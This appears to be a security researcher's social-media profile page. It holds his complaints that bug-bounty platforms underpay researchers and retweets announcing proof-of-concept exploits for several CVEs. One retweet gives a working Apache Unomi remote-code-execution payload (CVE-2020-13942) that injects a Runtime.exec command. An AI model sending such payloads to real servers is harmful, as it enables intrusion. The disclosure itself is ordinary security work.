SaifAllah benMassaoud

Security Researcher

[SaifAllah benMassaoud @benmassaou]

@ShawarkOFFICIAL Always great to see our names together <3

[SaifAllah benMassaoud @benmassaou]

@G0LDEN_infosec h1 supports them 🤑

[SaifAllah benMassaoud @benmassaou]

@Samm0uda Boss ❤

[SaifAllah benMassaoud @benmassaou]

@Samm0uda Hackerone is not a safe place for all researchers and this is what we found out
Bugcrowd started learning from Hackerone the art of trading with the efforts of researchers

[SaifAllah benMassaoud @benmassaou]

@Samm0uda so a lot of researchers are looking at bugbounty field as a waste of time ...

[SaifAllah benMassaoud @benmassaou]

@Samm0uda finally, all this will not make the Internet a safe place for everyone

[SaifAllah benMassaoud @benmassaou]

@Samm0uda there is also a lack of interest in many of the vulnerabilities or not taking it seriously and the scams that these programs do to the point that many researchers left working on these programs and did not give any importance because they became a waste of time ..

[SaifAllah benMassaoud @benmassaou]

@Samm0uda same, i think it's all about the money even though the vulnerabilities are always there and it will always be there

[chompie @chompie1337]

tried something new and wrote an LPE exploit for CVE-2021-3490, a bug in the Linux Kernel eBPF verifier. was fun and learned a lot - blog post + PoC coming soon. happy memorial day!

[Axel Souchet @0vercl0k]

I've built a PoC for CVE-2021-31166 the "HTTP Protocol Stack Remote Code Execution Vulnerability": https://t.co/8mqLCByvCp 🔥🔥

[Dawid Golunski @dawid_golunski]

GIT Remote Code Execution #RCE CVE-2020-27955 (git-lfs)
git CLONE to Pwn [Reverse Shell]

Advisory / #exploit @Exploit_Box :
https://t.co/wkCnjqKSwK

Patched #git released. Many GIT clients still affected.
#cybersecurity #infosec #devops #coding #vuln #security #PoC

[William Bowling @wcbowling]

Anyone using ExifTool make sure to update to 12.24+ as CVE-2021-22204 can be triggered with a perfectly valid image (jpg, tiff, mp4 and many more) leading to arbitrary code execution!

[SaifAllah benMassaoud @benmassaou]

@Samm0uda Hackerone and Bugcrowd have to look at themselves in the mirror for an hour

[SaifAllah benMassaoud @benmassaou]

@Samm0uda on these platforms, for exemple : the H1 platform. Even if you are scammed by a program and you used "H1 hacker mediation" then H1 will never help you even though you are right and they will tell you that you are wrong and they will give you reasons that have no meaning .

[SaifAllah benMassaoud @benmassaou]

@Samm0uda Hackerone and Bugcrowd always exploit researchers, either you are a victim of a scam or they either give you $200 for a vuln whose original price is more than $ 10,000 ,

[pyn3rd @pyn3rd]

#CVE-2020-13942 Apache Unomi Remote Code Execution

PoC:
{"filters":[{"id" : "pyn3rd","filters": [{"condition": {"parameterValues": {"pyn3rd": "script::Runtime.getRuntime().exec('open -a Calculator')"},"type":"profilePropertyCondition"}}]}],"sessionId": "pyn3rd"}

[pyn3rd @pyn3rd]

#CVE-2020-26217 XStream Remote Code Execution

https://t.co/baqFucu0BQ

[Asharq News الشرق للأخبار @AsharqNews]

#إنتل تكافئ شاباً تونسياً بـ15 ألف دولار لاكتشافه ثغرة أمنية

التفاصيل: https://t.co/xKCPdtVMH2
#الشرق #الشرق_للأخبار #asharqnews

[Lei Cao @iamelli0t]

Maybe there is some way to bypass CVE-2020-1380's patch? 🤔

[Lei Cao @iamelli0t]

My reproduction of CVE-2020-0986 targets splwow64.exe